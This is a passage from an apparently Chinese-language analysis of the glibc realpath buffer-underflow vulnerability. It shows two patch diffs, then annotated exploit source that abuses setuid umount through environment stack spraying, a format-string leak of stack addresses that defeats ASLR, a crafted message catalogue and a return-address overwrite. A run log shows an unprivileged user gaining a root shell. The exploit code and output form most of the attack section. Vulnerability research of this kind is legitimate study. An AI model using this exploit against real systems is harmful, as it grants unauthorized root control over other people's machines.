漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 dest == rpath 的时候,如果 *dest != '/',则说明该路径不是以 / 开头,便触发报错。
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000@@ -91,6 +91,11 @@ goto error; } dest = __rawmemchr (rpath, '\0');+/* If path is empty, kernel failed in some ugly way. Realpath+has no error code for that, so die here. Otherwise search later+on would cause an underrun when getcwd() returns an empty string.+Thanks Willy Tarreau for pointing that out. */+ assert (dest != rpath); } else {@@ -118,8 +123,17 @@ else if (end - start == 2 && start[0] == '.' && start[1] == '.') { /* Back up to previous component, ignore if at root already. */- if (dest > rpath + 1)- while ((--dest)[-1] != '/');+ dest--;+ while ((dest != rpath) && (*--dest != '/'));+ if ((dest == rpath) && (*dest != '/') {+ /* Return EACCES to stay compliant to current documentation:+ "Read or search permission was denied for a component of the+ path prefix." Unreachable root directories should not be+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */+ __set_errno (EACCES);+ goto error;+ }+ dest++; } else {
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | catdiff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.cindex f545106289..866b9d26d5 100644--- a/sysdeps/unix/sysv/linux/getcwd.c+++ b/sysdeps/unix/sysv/linux/getcwd.c@@ -76,7 +76,7 @@ __getcwd (char *buf, size_t size) int retval; retval = INLINE_SYSCALL (getcwd, 2, path, alloc_size);- if (retval >= 0)+ if (retval > 0 && path[0] == '/') { #ifndef NO_ALLOCATION if (buf == NULL && size == 0)@@ -92,10 +92,10 @@ __getcwd (char *buf, size_t size) return buf; }- /* The system call cannot handle paths longer than a page.- Neither can the magic symlink in /proc/self. Just use the+ /* The system call either cannot handle paths longer than a page+ or can succeed without returning an absolute path. Just use the generic implementation right away. */- if (errno == ENAMETOOLONG)+ if (retval >= 0 || errno == ENAMETOOLONG) { #ifndef NO_ALLOCATION if (buf == NULL && size == 0)
Exploit
umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下:
$ sudo apt-get install dpkg-dev automake
$ sudo apt-get source util-linux
$ cd util-linux-2.27.1
$ ./configure
$ make && sudo make install
$ file /bin/umount
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped
intattemptEscalation() { [...]pid_t childPid=fork();if(!childPid) { [...] result=chdir(targetCwd); // 改变当前工作目录为 targetCwd// Create so many environment variables for a kind of "stack spraying".int envCount=UMOUNT_ENV_VAR_COUNT;char**umountEnv=(char**)malloc((envCount+1)*sizeof(char*)); umountEnv[envCount--]=NULL; umountEnv[envCount--]="LC_ALL=C.UTF-8";while(envCount>=0) { umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部 }// Invoke umount first by overwriting heap downwards using links// for "down", then retriggering another error message ("busy")// with hopefully similar same stack layout for other path "/".char* umountArgs[]={umountPathname,"/","/","/","/","/","/","/","/","/","/","down","LABEL=78","LABEL=789","LABEL=789a","LABEL=789ab","LABEL=789abc","LABEL=789abcd","LABEL=789abcde","LABEL=789abcdef","LABEL=789abcdef0","LABEL=789abcdef0",NULL}; result=execve(umountArgs[0], umountArgs, umountEnv); } [...]int escalationPhase=0; [...]while(1) {if(escalationPhase==2) { // 阶段 2 => case 3 result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname); [...] escalationPhase++; }// Wait at most 10 seconds for IO. result=poll(pollFdList,1,10000); [...]// Perform the IO operations without blocking.if(pollFdList[0].revents&(POLLIN|POLLHUP)) { result=read( pollFdList[0].fd, readBuffer+readDataLength,sizeof(readBuffer)-readDataLength); [...] readDataLength+=result;// Handle the data depending on escalation phase.int moveLength=0;switch(escalationPhase) {case0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble [...]char*preambleStart=memmem(readBuffer, readDataLength,"AAAAAAAA",8); // 查找内存,设置 preambleStart [...]// We found, what we are looking for. Start reading the stack. escalationPhase++; // 阶段加 1 => case 1 moveLength=preambleStart-readBuffer+8;case1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR// Consume stack data until or local array is full.while(moveLength+16<=readDataLength) { // 读取栈数据直到装满 result=sscanf(readBuffer+moveLength,"%016lx", (int*)(stackData+stackDataBytes)); [...] moveLength+=sizeof(long)*2; stackDataBytes+=sizeof(long);// See if we reached end of stack dump already.if(stackDataBytes==sizeof(stackData))break; }if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完break;// All data read, use it to prepare the content for the next phase.fprintf(stderr,"Stack content received, calculating next phase\n");int*exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址// This is the address, where source Pointer is pointing to.void*sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];// This is the stack address source for the target pointer.void*sourcePointerLocation=sourcePointerTarget-0xd0;void*targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];// This is the stack address of the libc start function return// pointer.void*libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;fprintf(stderr,"Found source address location %p pointing to target address %p with value %p, libc offset is %p\n", sourcePointerLocation, sourcePointerTarget, targetPointerTarget, libcStartFunctionReturnAddressSource);// So the libcStartFunctionReturnAddressSource is the lowest address// to manipulate, targetPointerTarget+...void*libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];void*stackWriteData[]={ libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA], libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA] };fprintf(stderr,"Changing return address from %p to %p, %p\n", libcStartFunctionAddress, stackWriteData[0], stackWriteData[1]); escalationPhase++; // 阶段加 1 => case 2char*escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中createStackWriteFormatString( escalationString,1024, exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf sourcePointerTarget, // Base value to write exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ... libcStartFunctionReturnAddressSource, (unsignedshort*)stackWriteData,sizeof(stackWriteData)/sizeof(unsignedshort) );fprintf(stderr,"Using escalation string %s", escalationString); result=writeMessageCatalogue( secondPhaseCataloguePathname, (char*[]){"%s: mountpoint not found","%s: not mounted","%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)" }, (char*[]){ escalationString,"BBBB5678%3$s\n","BBBBABCD%s\n"},3);break;case2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中case3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出// Wait for pipe connection and output any result from mount. readDataLength=0;break; [...] }if(moveLength) {memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength); readDataLength-=moveLength; } } }attemptEscalationCleanup: [...]return(escalationSuccess);}
$ gcc -g exp.c
$ id
uid=999(ubuntu) gid=999(ubuntu) groups=999(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ ls -l a.out
-rwxrwxr-x 1 ubuntu ubuntu 44152 Feb 1 03:28 a.out
$ ./a.out
./a.out: setting up environment ...
Detected OS version: "16.04.3 LTS (Xenial Xerus)"
./a.out: using umount at "/bin/umount".
No pid supplied via command line, trying to create a namespace
CAVEAT: /proc/sys/kernel/unprivileged_userns_clone must be 1 on systems with USERNS protection.
Namespaced filesystem created with pid 7429
Attempting to gain root, try 1 of 10 ...
Starting subprocess
Stack content received, calculating next phase
Found source address location 0x7ffc3f7bb168 pointing to target address 0x7ffc3f7bb238 with value 0x7ffc3f7bd23f, libc offset is 0x7ffc3f7bb158
Changing return address from 0x7f24986c4830 to 0x7f2498763e00, 0x7f2498770a20
Using escalation string %69$hn%73$hn%1$2592.2592s%70$hn%1$13280.13280s%66$hn%1$16676.16676s%68$hn%72$hn%1$6482.6482s%67$hn%1$1.1s%71$hn%1$26505.26505s%1$45382.45382s%1$s%1$s%65$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%39$hn-%35$lx-%39$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%70$lx-%71$lx-%78$s
Executable now root-owned
Cleanup completed, re-invoking binary
/proc/self/exe: invoked as SUID, invoking shell ...
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(ubuntu)
# ls -l a.out
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out